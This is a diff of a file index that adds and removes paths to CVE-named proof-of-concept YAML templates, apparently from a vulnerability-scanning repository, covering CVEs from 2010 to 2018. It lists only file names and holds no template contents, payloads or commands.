./poc/cve/cve-2010-0943-1517.yaml +./poc/cve/cve-2010-0943.yaml ./poc/cve/cve-2010-0944-1518.yaml ./poc/cve/cve-2010-0944-1519.yaml ./poc/cve/cve-2010-0944-1520.yaml @@ -37070,20 +37316,17 @@ ./poc/cve/cve-2010-1081-1548.yaml ./poc/cve/cve-2010-1081-1549.yaml ./poc/cve/cve-2010-1081-1550.yaml -./poc/cve/cve-2010-1081.yaml ./poc/cve/cve-2010-1217-1551.yaml ./poc/cve/cve-2010-1217-1552.yaml ./poc/cve/cve-2010-1217-1553.yaml ./poc/cve/cve-2010-1217-1554.yaml ./poc/cve/cve-2010-1217-1555.yaml -./poc/cve/cve-2010-1217.yaml ./poc/cve/cve-2010-1219-1556.yaml ./poc/cve/cve-2010-1219-1557.yaml ./poc/cve/cve-2010-1219-1558.yaml ./poc/cve/cve-2010-1219-1559.yaml ./poc/cve/cve-2010-1219-1560.yaml ./poc/cve/cve-2010-1219-1561.yaml -./poc/cve/cve-2010-1219.yaml ./poc/cve/cve-2010-1302-1562.yaml ./poc/cve/cve-2010-1302-1563.yaml ./poc/cve/cve-2010-1302-1564.yaml @@ -37102,6 +37345,7 @@ ./poc/cve/cve-2010-1305-1576.yaml ./poc/cve/cve-2010-1305-1577.yaml ./poc/cve/cve-2010-1305-1578.yaml +./poc/cve/cve-2010-1305.yaml ./poc/cve/cve-2010-1306-1579.yaml ./poc/cve/cve-2010-1306-1580.yaml ./poc/cve/cve-2010-1306-1581.yaml @@ -37113,17 +37357,16 @@ ./poc/cve/cve-2010-1307-1587.yaml ./poc/cve/cve-2010-1307-1588.yaml ./poc/cve/cve-2010-1307-1589.yaml +./poc/cve/cve-2010-1307.yaml ./poc/cve/cve-2010-1308-1590.yaml ./poc/cve/cve-2010-1308-1591.yaml ./poc/cve/cve-2010-1308-1592.yaml ./poc/cve/cve-2010-1308-1593.yaml -./poc/cve/cve-2010-1308.yaml ./poc/cve/cve-2010-1312-1594.yaml ./poc/cve/cve-2010-1312-1595.yaml ./poc/cve/cve-2010-1312-1596.yaml ./poc/cve/cve-2010-1312-1597.yaml ./poc/cve/cve-2010-1312-1598.yaml -./poc/cve/cve-2010-1312.yaml ./poc/cve/cve-2010-1313-1599.yaml ./poc/cve/cve-2010-1313-1600.yaml ./poc/cve/cve-2010-1313-1601.yaml @@ -37131,27 +37374,32 @@ ./poc/cve/cve-2010-1313-1603.yaml ./poc/cve/cve-2010-1313-1604.yaml ./poc/cve/cve-2010-1314-1605.yaml +./poc/cve/cve-2010-1314-1606.yaml ./poc/cve/cve-2010-1314-1607.yaml ./poc/cve/cve-2010-1314-1608.yaml ./poc/cve/cve-2010-1314-1609.yaml +./poc/cve/cve-2010-1314.yaml +./poc/cve/cve-2010-1315-1610.yaml ./poc/cve/cve-2010-1315-1611.yaml ./poc/cve/cve-2010-1315-1612.yaml ./poc/cve/cve-2010-1315-1613.yaml ./poc/cve/cve-2010-1315-1614.yaml +./poc/cve/cve-2010-1315.yaml ./poc/cve/cve-2010-1340-1615.yaml ./poc/cve/cve-2010-1340-1616.yaml ./poc/cve/cve-2010-1340-1617.yaml ./poc/cve/cve-2010-1340-1618.yaml ./poc/cve/cve-2010-1340-1619.yaml ./poc/cve/cve-2010-1345-1620.yaml -./poc/cve/cve-2010-1345-1621.yaml ./poc/cve/cve-2010-1345-1622.yaml ./poc/cve/cve-2010-1345-1623.yaml ./poc/cve/cve-2010-1345-1624.yaml +./poc/cve/cve-2010-1352-1625.yaml ./poc/cve/cve-2010-1352-1626.yaml ./poc/cve/cve-2010-1352-1627.yaml ./poc/cve/cve-2010-1352-1628.yaml ./poc/cve/cve-2010-1352-1629.yaml +./poc/cve/cve-2010-1352.yaml ./poc/cve/cve-2010-1353-1630.yaml ./poc/cve/cve-2010-1353-1631.yaml ./poc/cve/cve-2010-1353-1632.yaml @@ -37178,7 +37426,6 @@ ./poc/cve/cve-2010-1470-1652.yaml ./poc/cve/cve-2010-1470-1653.yaml ./poc/cve/cve-2010-1470-1654.yaml -./poc/cve/cve-2010-1471-1655.yaml ./poc/cve/cve-2010-1471-1656.yaml ./poc/cve/cve-2010-1471-1657.yaml ./poc/cve/cve-2010-1471-1658.yaml @@ -37204,23 +37451,22 @@ ./poc/cve/cve-2010-1475-1676.yaml ./poc/cve/cve-2010-1475-1677.yaml ./poc/cve/cve-2010-1475-1678.yaml -./poc/cve/cve-2010-1475.yaml ./poc/cve/cve-2010-1476-1679.yaml ./poc/cve/cve-2010-1476-1680.yaml ./poc/cve/cve-2010-1476-1681.yaml ./poc/cve/cve-2010-1476-1682.yaml -./poc/cve/cve-2010-1476.yaml ./poc/cve/cve-2010-1478-1683.yaml ./poc/cve/cve-2010-1478-1684.yaml ./poc/cve/cve-2010-1478-1685.yaml ./poc/cve/cve-2010-1478-1686.yaml ./poc/cve/cve-2010-1478-1687.yaml ./poc/cve/cve-2010-1478-1688.yaml -./poc/cve/cve-2010-1478.yaml ./poc/cve/cve-2010-1491-1689.yaml ./poc/cve/cve-2010-1491-1690.yaml ./poc/cve/cve-2010-1491-1691.yaml +./poc/cve/cve-2010-1491-1692.yaml ./poc/cve/cve-2010-1491-1693.yaml +./poc/cve/cve-2010-1491.yaml ./poc/cve/cve-2010-1494-1694.yaml ./poc/cve/cve-2010-1494-1695.yaml ./poc/cve/cve-2010-1494-1696.yaml @@ -37268,7 +37514,6 @@ ./poc/cve/cve-2010-1601-1737.yaml ./poc/cve/cve-2010-1601-1738.yaml ./poc/cve/cve-2010-1601-1739.yaml -./poc/cve/cve-2010-1601.yaml ./poc/cve/cve-2010-1602-1740.yaml ./poc/cve/cve-2010-1602-1741.yaml ./poc/cve/cve-2010-1602-1742.yaml @@ -37283,7 +37528,6 @@ ./poc/cve/cve-2010-1607-1752.yaml ./poc/cve/cve-2010-1607-1753.yaml ./poc/cve/cve-2010-1607-1754.yaml -./poc/cve/cve-2010-1607.yaml ./poc/cve/cve-2010-1653-1755.yaml ./poc/cve/cve-2010-1653-1756.yaml ./poc/cve/cve-2010-1653-1757.yaml @@ -37300,7 +37544,6 @@ ./poc/cve/cve-2010-1658-1767.yaml ./poc/cve/cve-2010-1658-1768.yaml ./poc/cve/cve-2010-1658-1769.yaml -./poc/cve/cve-2010-1658.yaml ./poc/cve/cve-2010-1659-1770.yaml ./poc/cve/cve-2010-1659-1771.yaml ./poc/cve/cve-2010-1659-1772.yaml @@ -37311,12 +37554,13 @@ ./poc/cve/cve-2010-1714-1776.yaml ./poc/cve/cve-2010-1714-1777.yaml ./poc/cve/cve-2010-1714-1778.yaml -./poc/cve/cve-2010-1714-1779.yaml ./poc/cve/cve-2010-1715-1780.yaml ./poc/cve/cve-2010-1715-1781.yaml ./poc/cve/cve-2010-1715-1782.yaml +./poc/cve/cve-2010-1715-1783.yaml ./poc/cve/cve-2010-1715-1784.yaml ./poc/cve/cve-2010-1715-1785.yaml +./poc/cve/cve-2010-1715.yaml ./poc/cve/cve-2010-1717-1786.yaml ./poc/cve/cve-2010-1717-1787.yaml ./poc/cve/cve-2010-1717-1788.yaml @@ -37347,7 +37591,6 @@ ./poc/cve/cve-2010-1858-1814.yaml ./poc/cve/cve-2010-1858-1815.yaml ./poc/cve/cve-2010-1858-1816.yaml -./poc/cve/cve-2010-1858.yaml ./poc/cve/cve-2010-1870-1817.yaml ./poc/cve/cve-2010-1870-1818.yaml ./poc/cve/cve-2010-1870-1819.yaml @@ -37360,6 +37603,7 @@ ./poc/cve/cve-2010-1875-1826.yaml ./poc/cve/cve-2010-1875-1827.yaml ./poc/cve/cve-2010-1875-1828.yaml +./poc/cve/cve-2010-1875-1829.yaml ./poc/cve/cve-2010-1878-1831.yaml ./poc/cve/cve-2010-1878-1832.yaml ./poc/cve/cve-2010-1878-1833.yaml @@ -37379,6 +37623,7 @@ ./poc/cve/cve-2010-1955-1849.yaml ./poc/cve/cve-2010-1955-1850.yaml ./poc/cve/cve-2010-1955-1851.yaml +./poc/cve/cve-2010-1955-1852.yaml ./poc/cve/cve-2010-1955-1853.yaml ./poc/cve/cve-2010-1955-1854.yaml ./poc/cve/cve-2010-1956-1855.yaml @@ -37404,15 +37649,19 @@ ./poc/cve/cve-2010-1980-1875.yaml ./poc/cve/cve-2010-1980-1876.yaml ./poc/cve/cve-2010-1980-1877.yaml +./poc/cve/cve-2010-1980-1878.yaml ./poc/cve/cve-2010-1981-1879.yaml ./poc/cve/cve-2010-1981-1880.yaml ./poc/cve/cve-2010-1981-1881.yaml ./poc/cve/cve-2010-1981-1882.yaml +./poc/cve/cve-2010-1981.yaml ./poc/cve/cve-2010-1982-1883.yaml ./poc/cve/cve-2010-1982-1884.yaml ./poc/cve/cve-2010-1982-1885.yaml +./poc/cve/cve-2010-1982-1886.yaml ./poc/cve/cve-2010-1982-1887.yaml ./poc/cve/cve-2010-1982-1888.yaml +./poc/cve/cve-2010-1982.yaml ./poc/cve/cve-2010-1983-1889.yaml ./poc/cve/cve-2010-1983-1890.yaml ./poc/cve/cve-2010-1983-1891.yaml @@ -37452,7 +37701,6 @@ ./poc/cve/cve-2010-2050-1925.yaml ./poc/cve/cve-2010-2050-1926.yaml ./poc/cve/cve-2010-2050-1927.yaml -./poc/cve/cve-2010-2122-1928.yaml ./poc/cve/cve-2010-2122-1929.yaml ./poc/cve/cve-2010-2122-1930.yaml ./poc/cve/cve-2010-2122-1931.yaml @@ -37483,8 +37731,6 @@ ./poc/cve/cve-2010-2680-1957.yaml ./poc/cve/cve-2010-2680-1958.yaml ./poc/cve/cve-2010-2680-1959.yaml -./poc/cve/cve-2010-2680.yaml -./poc/cve/cve-2010-2682-1960.yaml ./poc/cve/cve-2010-2682-1961.yaml ./poc/cve/cve-2010-2682-1962.yaml ./poc/cve/cve-2010-2682-1963.yaml @@ -37507,10 +37753,11 @@ ./poc/cve/cve-2010-2920-1980.yaml ./poc/cve/cve-2010-2920-1981.yaml ./poc/cve/cve-2010-2920-1982.yaml +./poc/cve/cve-2010-2920-1983.yaml +./poc/cve/cve-2010-2920.yaml ./poc/cve/cve-2010-3203-1984.yaml ./poc/cve/cve-2010-3203-1985.yaml ./poc/cve/cve-2010-3203-1986.yaml -./poc/cve/cve-2010-3203-1987.yaml ./poc/cve/cve-2010-3203-1988.yaml ./poc/cve/cve-2010-3426-1989.yaml ./poc/cve/cve-2010-3426-1990.yaml @@ -37527,7 +37774,6 @@ ./poc/cve/cve-2010-4282-2001.yaml ./poc/cve/cve-2010-4282-2002.yaml ./poc/cve/cve-2010-4617-2003.yaml -./poc/cve/cve-2010-4617-2004.yaml ./poc/cve/cve-2010-4617-2005.yaml ./poc/cve/cve-2010-4617-2006.yaml ./poc/cve/cve-2010-4719-2007.yaml @@ -37540,7 +37786,6 @@ ./poc/cve/cve-2010-4769-2014.yaml ./poc/cve/cve-2010-4769-2015.yaml ./poc/cve/cve-2010-4769-2016.yaml -./poc/cve/cve-2010-4977-2017.yaml ./poc/cve/cve-2010-4977-2018.yaml ./poc/cve/cve-2010-4977-2019.yaml ./poc/cve/cve-2010-4977-2020.yaml @@ -37553,11 +37798,9 @@ ./poc/cve/cve-2010-5278-2028.yaml ./poc/cve/cve-2010-5278-2029.yaml ./poc/cve/cve-2010-5278-2030.yaml -./poc/cve/cve-2010-5278.yaml ./poc/cve/cve-2010-5286-2031.yaml ./poc/cve/cve-2010-5286-2032.yaml ./poc/cve/cve-2010-5286-2033.yaml -./poc/cve/cve-2010-5286-2034.yaml ./poc/cve/cve-2010-5286-2035.yaml ./poc/cve/cve-2011-0049-2037.yaml ./poc/cve/cve-2011-0049-2038.yaml @@ -37569,19 +37812,16 @@ ./poc/cve/cve-2011-1669-2044.yaml ./poc/cve/cve-2011-1669-2045.yaml ./poc/cve/cve-2011-1669-2046.yaml -./poc/cve/cve-2011-1669.yaml ./poc/cve/cve-2011-2744-2047.yaml ./poc/cve/cve-2011-2744-2048.yaml ./poc/cve/cve-2011-2744-2049.yaml ./poc/cve/cve-2011-2744-2050.yaml -./poc/cve/cve-2011-2744-2051.yaml ./poc/cve/cve-2011-2780-2052.yaml ./poc/cve/cve-2011-2780-2053.yaml ./poc/cve/cve-2011-2780-2054.yaml ./poc/cve/cve-2011-2780-2055.yaml ./poc/cve/cve-2011-2780-2056.yaml ./poc/cve/cve-2011-2780-2057.yaml -./poc/cve/cve-2011-2780.yaml ./poc/cve/cve-2011-3315-2058.yaml ./poc/cve/cve-2011-3315-2059.yaml ./poc/cve/cve-2011-3315-2060.yaml @@ -37654,7 +37894,6 @@ ./poc/cve/cve-2011-5265-2123.yaml ./poc/cve/cve-2011-5265-2124.yaml ./poc/cve/cve-2011-5265-2125.yaml -./poc/cve/cve-2011-5265.yaml ./poc/cve/cve-2012-0392-2126.yaml ./poc/cve/cve-2012-0392-2127.yaml ./poc/cve/cve-2012-0392-2128.yaml @@ -37666,6 +37905,7 @@ ./poc/cve/cve-2012-0896-2134.yaml ./poc/cve/cve-2012-0896-2135.yaml ./poc/cve/cve-2012-0896-2136.yaml +./poc/cve/cve-2012-0896.yaml ./poc/cve/cve-2012-0901-2137.yaml ./poc/cve/cve-2012-0901-2138.yaml ./poc/cve/cve-2012-0901-2139.yaml @@ -37678,13 +37918,13 @@ ./poc/cve/cve-2012-0981-2145.yaml ./poc/cve/cve-2012-0981-2146.yaml ./poc/cve/cve-2012-0981-2147.yaml +./poc/cve/cve-2012-0981.yaml ./poc/cve/cve-2012-0991-2148.yaml ./poc/cve/cve-2012-0991-2149.yaml ./poc/cve/cve-2012-0991-2150.yaml ./poc/cve/cve-2012-0991-2151.yaml ./poc/cve/cve-2012-0991-2152.yaml ./poc/cve/cve-2012-0991-2153.yaml -./poc/cve/cve-2012-0991.yaml ./poc/cve/cve-2012-0996-2154.yaml ./poc/cve/cve-2012-0996-2155.yaml ./poc/cve/cve-2012-0996-2156.yaml @@ -37711,6 +37951,7 @@ ./poc/cve/cve-2012-2371-2177.yaml ./poc/cve/cve-2012-2371-2178.yaml ./poc/cve/cve-2012-2371-2179.yaml +./poc/cve/cve-2012-2371.yaml ./poc/cve/cve-2012-3153-2180.yaml ./poc/cve/cve-2012-3153-2181.yaml ./poc/cve/cve-2012-3153-2182.yaml @@ -37729,7 +37970,6 @@ ./poc/cve/cve-2012-4273-2195.yaml ./poc/cve/cve-2012-4273-2196.yaml ./poc/cve/cve-2012-4273-2197.yaml -./poc/cve/cve-2012-4273-2198.yaml ./poc/cve/cve-2012-4547-2199.yaml ./poc/cve/cve-2012-4547-2200.yaml ./poc/cve/cve-2012-4547-2201.yaml @@ -37781,7 +38021,6 @@ ./poc/cve/cve-2013-2287-2247.yaml ./poc/cve/cve-2013-2287-2248.yaml ./poc/cve/cve-2013-2287-2249.yaml -./poc/cve/cve-2013-2287.yaml ./poc/cve/cve-2013-3526-2250.yaml ./poc/cve/cve-2013-3526-2251.yaml ./poc/cve/cve-2013-3526-2252.yaml @@ -37810,9 +38049,12 @@ ./poc/cve/cve-2013-5528-2274.yaml ./poc/cve/cve-2013-5528-2275.yaml ./poc/cve/cve-2013-5528-2276.yaml +./poc/cve/cve-2013-5528.yaml ./poc/cve/cve-2013-5979-2277.yaml ./poc/cve/cve-2013-5979-2278.yaml ./poc/cve/cve-2013-5979-2279.yaml +./poc/cve/cve-2013-5979-2280.yaml +./poc/cve/cve-2013-5979.yaml ./poc/cve/cve-2013-6281-2281.yaml ./poc/cve/cve-2013-7091-2282.yaml ./poc/cve/cve-2013-7091-2283.yaml @@ -37821,6 +38063,8 @@ ./poc/cve/cve-2013-7240-2287.yaml ./poc/cve/cve-2013-7240-2288.yaml ./poc/cve/cve-2013-7240-2289.yaml +./poc/cve/cve-2013-7240-2290.yaml +./poc/cve/cve-2013-7240.yaml ./poc/cve/cve-2014-10037-2291.yaml ./poc/cve/cve-2014-10037-2292.yaml ./poc/cve/cve-2014-10037-2293.yaml @@ -37843,7 +38087,6 @@ ./poc/cve/cve-2014-2908-2310.yaml ./poc/cve/cve-2014-2908-2311.yaml ./poc/cve/cve-2014-2962-2312.yaml -./poc/cve/cve-2014-2962-2313.yaml ./poc/cve/cve-2014-2962-2314.yaml ./poc/cve/cve-2014-2962-2315.yaml ./poc/cve/cve-2014-3120-2316.yaml @@ -37874,7 +38117,6 @@ ./poc/cve/cve-2014-4513-2341.yaml ./poc/cve/cve-2014-4513-2342.yaml ./poc/cve/cve-2014-4513-2343.yaml -./poc/cve/cve-2014-4513-2344.yaml ./poc/cve/cve-2014-4513-2345.yaml ./poc/cve/cve-2014-4535-2346.yaml ./poc/cve/cve-2014-4535-2347.yaml @@ -37915,6 +38157,7 @@ ./poc/cve/cve-2014-4940-2383.yaml ./poc/cve/cve-2014-4940-2384.yaml ./poc/cve/cve-2014-4940-2385.yaml +./poc/cve/cve-2014-4940.yaml ./poc/cve/cve-2014-5111-2386.yaml ./poc/cve/cve-2014-5111-2387.yaml ./poc/cve/cve-2014-5111-2388.yaml @@ -37971,8 +38214,6 @@ ./poc/cve/cve-2014-9614-2442.yaml ./poc/cve/cve-2014-9615-2444.yaml ./poc/cve/cve-2014-9615-2445.yaml -./poc/cve/cve-2014-9615-2446.yaml -./poc/cve/cve-2014-9617-2447.yaml ./poc/cve/cve-2014-9617-2448.yaml ./poc/cve/cve-2014-9617-2449.yaml ./poc/cve/cve-2014-9617-2450.yaml @@ -37981,11 +38222,12 @@ ./poc/cve/cve-2015-0554-2453.yaml ./poc/cve/cve-2015-0554-2454.yaml ./poc/cve/cve-2015-0554-2455.yaml +./poc/cve/cve-2015-0554-2456.yaml +./poc/cve/cve-2015-0554.yaml ./poc/cve/cve-2015-1000012-2457.yaml ./poc/cve/cve-2015-1000012-2458.yaml ./poc/cve/cve-2015-1000012-2459.yaml ./poc/cve/cve-2015-1000012-2460.yaml -./poc/cve/cve-2015-1000012-2461.yaml ./poc/cve/cve-2015-1000012-2462.yaml ./poc/cve/cve-2015-1427-2463.yaml ./poc/cve/cve-2015-1427-2464.yaml @@ -37995,12 +38237,14 @@ ./poc/cve/cve-2015-1427-2468.yaml ./poc/cve/cve-2015-1503-2469.yaml ./poc/cve/cve-2015-1503-2470.yaml +./poc/cve/cve-2015-1503-2471.yaml ./poc/cve/cve-2015-1503-2472.yaml ./poc/cve/cve-2015-1830.yaml ./poc/cve/cve-2015-1880-2473.yaml ./poc/cve/cve-2015-1880-2474.yaml ./poc/cve/cve-2015-1880-2475.yaml ./poc/cve/cve-2015-1880-2476.yaml +./poc/cve/cve-2015-1880-2477.yaml ./poc/cve/cve-2015-1880-2478.yaml ./poc/cve/cve-2015-2067-2479.yaml ./poc/cve/cve-2015-2067-2480.yaml @@ -38021,7 +38265,6 @@ ./poc/cve/cve-2015-2166-2494.yaml ./poc/cve/cve-2015-2166-2495.yaml ./poc/cve/cve-2015-2166-2496.yaml -./poc/cve/cve-2015-2166.yaml ./poc/cve/cve-2015-2794.yaml ./poc/cve/cve-2015-2807-2497.yaml ./poc/cve/cve-2015-2807-2498.yaml @@ -38048,7 +38291,6 @@ ./poc/cve/cve-2015-3897-2519.yaml ./poc/cve/cve-2015-3897-2520.yaml ./poc/cve/cve-2015-3897-2521.yaml -./poc/cve/cve-2015-4050-2522.yaml ./poc/cve/cve-2015-4050-2523.yaml ./poc/cve/cve-2015-4050-2524.yaml ./poc/cve/cve-2015-4050-2525.yaml @@ -38068,7 +38310,6 @@ ./poc/cve/cve-2015-4666-2539.yaml ./poc/cve/cve-2015-4668-2540.yaml ./poc/cve/cve-2015-4668-2541.yaml -./poc/cve/cve-2015-4694-2542.yaml ./poc/cve/cve-2015-4694-2543.yaml ./poc/cve/cve-2015-4694-2544.yaml ./poc/cve/cve-2015-4694-2545.yaml @@ -38093,6 +38334,7 @@ ./poc/cve/cve-2015-5531-2564.yaml ./poc/cve/cve-2015-5531-2565.yaml ./poc/cve/cve-2015-5531-2566.yaml +./poc/cve/cve-2015-5688-2567.yaml ./poc/cve/cve-2015-5688-2568.yaml ./poc/cve/cve-2015-5688-2569.yaml ./poc/cve/cve-2015-5688-2570.yaml @@ -38112,7 +38354,6 @@ ./poc/cve/cve-2015-6920-2584.yaml ./poc/cve/cve-2015-6920-2585.yaml ./poc/cve/cve-2015-7297-2586.yaml -./poc/cve/cve-2015-7297-2587.yaml ./poc/cve/cve-2015-7297-2588.yaml ./poc/cve/cve-2015-7297-2589.yaml ./poc/cve/cve-2015-7297-2590.yaml @@ -38183,11 +38424,11 @@ ./poc/cve/cve-2016-1000131-2661.yaml ./poc/cve/cve-2016-1000131-2662.yaml ./poc/cve/cve-2016-1000131-2663.yaml -./poc/cve/cve-2016-1000131-2664.yaml ./poc/cve/cve-2016-1000131-2665.yaml ./poc/cve/cve-2016-1000132-2666.yaml ./poc/cve/cve-2016-1000132-2667.yaml ./poc/cve/cve-2016-1000132-2668.yaml +./poc/cve/cve-2016-1000132-2669.yaml ./poc/cve/cve-2016-1000132-2670.yaml ./poc/cve/cve-2016-1000133-2671.yaml ./poc/cve/cve-2016-1000133-2672.yaml @@ -38215,6 +38456,7 @@ ./poc/cve/cve-2016-1000138-2695.yaml ./poc/cve/cve-2016-1000138-2696.yaml ./poc/cve/cve-2016-1000138-2697.yaml +./poc/cve/cve-2016-1000138-2698.yaml ./poc/cve/cve-2016-1000139-2699.yaml ./poc/cve/cve-2016-1000139-2700.yaml ./poc/cve/cve-2016-1000139-2701.yaml @@ -38230,6 +38472,7 @@ ./poc/cve/cve-2016-1000141-2711.yaml ./poc/cve/cve-2016-1000142-2712.yaml ./poc/cve/cve-2016-1000142-2713.yaml +./poc/cve/cve-2016-1000142-2714.yaml ./poc/cve/cve-2016-1000143-2715.yaml ./poc/cve/cve-2016-1000143-2716.yaml ./poc/cve/cve-2016-1000143-2717.yaml @@ -38278,6 +38521,7 @@ ./poc/cve/cve-2016-10956-2761.yaml ./poc/cve/cve-2016-10956-2762.yaml ./poc/cve/cve-2016-10960-2763.yaml +./poc/cve/cve-2016-10960-2764.yaml ./poc/cve/cve-2016-10960-2765.yaml ./poc/cve/cve-2016-10960-2766.yaml ./poc/cve/cve-2016-10960-2767.yaml @@ -38292,6 +38536,7 @@ ./poc/cve/cve-2016-2389-2776.yaml ./poc/cve/cve-2016-2389-2777.yaml ./poc/cve/cve-2016-2389-2778.yaml +./poc/cve/cve-2016-2389-2779.yaml ./poc/cve/cve-2016-2389-2780.yaml ./poc/cve/cve-2016-3081-2781.yaml ./poc/cve/cve-2016-3081-2782.yaml @@ -38304,7 +38549,6 @@ ./poc/cve/cve-2016-3088.yaml ./poc/cve/cve-2016-3978-2789.yaml ./poc/cve/cve-2016-3978-2790.yaml -./poc/cve/cve-2016-4975-2792.yaml ./poc/cve/cve-2016-4975-2793.yaml ./poc/cve/cve-2016-4975-2794.yaml ./poc/cve/cve-2016-4975-2795.yaml @@ -38316,6 +38560,7 @@ ./poc/cve/cve-2016-5649-2801.yaml ./poc/cve/cve-2016-6210-2802.yaml ./poc/cve/cve-2016-6210-2803.yaml +./poc/cve/cve-2016-6210.yaml ./poc/cve/cve-2016-6277-2804.yaml ./poc/cve/cve-2016-6277-2805.yaml ./poc/cve/cve-2016-6277-2806.yaml @@ -38331,7 +38576,6 @@ ./poc/cve/cve-2016-7981-2816.yaml ./poc/cve/cve-2016-8527-2817.yaml ./poc/cve/cve-2016-8527-2818.yaml -./poc/cve/cve-2016-8527-2819.yaml ./poc/cve/cve-2017-0929-2821.yaml ./poc/cve/cve-2017-0929-2822.yaml ./poc/cve/cve-2017-0929-2823.yaml @@ -38385,7 +38629,6 @@ ./poc/cve/cve-2017-11512-2871.yaml ./poc/cve/cve-2017-11512-2872.yaml ./poc/cve/cve-2017-11610-2873.yaml -./poc/cve/cve-2017-11610-2874.yaml ./poc/cve/cve-2017-11610-2875.yaml ./poc/cve/cve-2017-12138-2876.yaml ./poc/cve/cve-2017-12138-2877.yaml @@ -38394,7 +38637,6 @@ ./poc/cve/cve-2017-12149-2881.yaml ./poc/cve/cve-2017-12149-2882.yaml ./poc/cve/cve-2017-12149-2883.yaml -./poc/cve/cve-2017-12542-2884.yaml ./poc/cve/cve-2017-12542-2885.yaml ./poc/cve/cve-2017-12542-2886.yaml ./poc/cve/cve-2017-12542-2887.yaml @@ -38403,6 +38645,7 @@ ./poc/cve/cve-2017-12544-2890.yaml ./poc/cve/cve-2017-12544-2891.yaml ./poc/cve/cve-2017-12583-2892.yaml +./poc/cve/cve-2017-12583-2893.yaml ./poc/cve/cve-2017-12611-2894.yaml ./poc/cve/cve-2017-12611-2895.yaml ./poc/cve/cve-2017-12611-2896.yaml @@ -38414,6 +38657,7 @@ ./poc/cve/cve-2017-12615-2903.yaml ./poc/cve/cve-2017-12615-2904.yaml ./poc/cve/cve-2017-12615-2905.yaml +./poc/cve/cve-2017-12615.yaml ./poc/cve/cve-2017-12629-2906.yaml ./poc/cve/cve-2017-12629-2907.yaml ./poc/cve/cve-2017-12629-2908.yaml @@ -38426,7 +38670,6 @@ ./poc/cve/cve-2017-12635-2915.yaml ./poc/cve/cve-2017-12637-2916.yaml ./poc/cve/cve-2017-12637-2917.yaml -./poc/cve/cve-2017-12637-2918.yaml ./poc/cve/cve-2017-12637-2919.yaml ./poc/cve/cve-2017-12637-2920.yaml ./poc/cve/cve-2017-12794-2921.yaml @@ -38442,7 +38685,6 @@ ./poc/cve/cve-2017-14535-2931.yaml ./poc/cve/cve-2017-14537-2932.yaml ./poc/cve/cve-2017-14537-2933.yaml -./poc/cve/cve-2017-14537-2934.yaml ./poc/cve/cve-2017-14537-2935.yaml ./poc/cve/cve-2017-14651-2936.yaml ./poc/cve/cve-2017-14651-2937.yaml @@ -38472,7 +38714,6 @@ ./poc/cve/cve-2017-15715-2962.yaml ./poc/cve/cve-2017-15944-2963.yaml ./poc/cve/cve-2017-15944-2964.yaml -./poc/cve/cve-2017-15944-2965.yaml ./poc/cve/cve-2017-16806-2966.yaml ./poc/cve/cve-2017-16806-2967.yaml ./poc/cve/cve-2017-16806-2968.yaml @@ -38506,7 +38747,6 @@ ./poc/cve/cve-2017-18598-2996.yaml ./poc/cve/cve-2017-18598-2997.yaml ./poc/cve/cve-2017-18638-2998.yaml -./poc/cve/cve-2017-18638-2999.yaml ./poc/cve/cve-2017-18638-3000.yaml ./poc/cve/cve-2017-18638-3001.yaml ./poc/cve/cve-2017-3506-3002.yaml @@ -38519,6 +38759,7 @@ ./poc/cve/cve-2017-3528-3009.yaml ./poc/cve/cve-2017-3528-3010.yaml ./poc/cve/cve-2017-3528-3011.yaml +./poc/cve/cve-2017-3528-3012.yaml ./poc/cve/cve-2017-3528-3013.yaml ./poc/cve/cve-2017-3881-3014.yaml ./poc/cve/cve-2017-3881-3015.yaml @@ -38533,11 +38774,9 @@ ./poc/cve/cve-2017-5487-3024.yaml ./poc/cve/cve-2017-5521-3025.yaml ./poc/cve/cve-2017-5521-3026.yaml -./poc/cve/cve-2017-5521-3027.yaml ./poc/cve/cve-2017-5521-3028.yaml ./poc/cve/cve-2017-5521-3029.yaml ./poc/cve/cve-2017-5631-3030.yaml -./poc/cve/cve-2017-5631-3031.yaml ./poc/cve/cve-2017-5638-3032.yaml ./poc/cve/cve-2017-5638-3033.yaml ./poc/cve/cve-2017-5638-3034.yaml @@ -38545,6 +38784,7 @@ ./poc/cve/cve-2017-5638-3036.yaml ./poc/cve/cve-2017-5638-3037.yaml ./poc/cve/cve-2017-5638-3038.yaml +./poc/cve/cve-2017-5982-3039.yaml ./poc/cve/cve-2017-5982-3040.yaml ./poc/cve/cve-2017-5982-3041.yaml ./poc/cve/cve-2017-5982-3042.yaml @@ -38588,7 +38828,6 @@ ./poc/cve/cve-2017-9140-3080.yaml ./poc/cve/cve-2017-9140-3081.yaml ./poc/cve/cve-2017-9140-3082.yaml -./poc/cve/cve-2017-9140-3083.yaml ./poc/cve/cve-2017-9288-3084.yaml ./poc/cve/cve-2017-9288-3085.yaml ./poc/cve/cve-2017-9288-3086.yaml @@ -38599,7 +38838,6 @@ ./poc/cve/cve-2017-9506-3091.yaml ./poc/cve/cve-2017-9506-3092.yaml ./poc/cve/cve-2017-9506-3093.yaml -./poc/cve/cve-2017-9506.yaml ./poc/cve/cve-2017-9791-3095.yaml ./poc/cve/cve-2017-9791-3096.yaml ./poc/cve/cve-2017-9791-3097.yaml @@ -38644,7 +38882,6 @@ ./poc/cve/cve-2018-1000226-3138.yaml ./poc/cve/cve-2018-1000226-3139.yaml ./poc/cve/cve-2018-1000226-3140.yaml -./poc/cve/cve-2018-1000533-3141.yaml ./poc/cve/cve-2018-1000533-3142.yaml ./poc/cve/cve-2018-1000533-3143.yaml ./poc/cve/cve-2018-1000600-3144.yaml @@ -38663,6 +38900,7 @@ ./poc/cve/cve-2018-10093-3157.yaml ./poc/cve/cve-2018-10095-3158.yaml ./poc/cve/cve-2018-10095-3159.yaml +./poc/cve/cve-2018-10095-3160.yaml ./poc/cve/cve-2018-10141-3161.yaml ./poc/cve/cve-2018-10141-3162.yaml ./poc/cve/cve-2018-10141-3163.yaml @@ -38680,6 +38918,7 @@ ./poc/cve/cve-2018-10822-3175.yaml ./poc/cve/cve-2018-10822-3176.yaml ./poc/cve/cve-2018-10822-3177.yaml +./poc/cve/cve-2018-10822-3178.yaml ./poc/cve/cve-2018-10822-3179.yaml ./poc/cve/cve-2018-10823-3180.yaml ./poc/cve/cve-2018-10823-3181.yaml @@ -38697,7 +38936,6 @@ ./poc/cve/cve-2018-11409-3193.yaml ./poc/cve/cve-2018-11409-3194.yaml ./poc/cve/cve-2018-11409-3195.yaml -./poc/cve/cve-2018-11409.yaml ./poc/cve/cve-2018-11709-3196.yaml ./poc/cve/cve-2018-11709-3197.yaml ./poc/cve/cve-2018-11709-3198.yaml @@ -38789,6 +39027,7 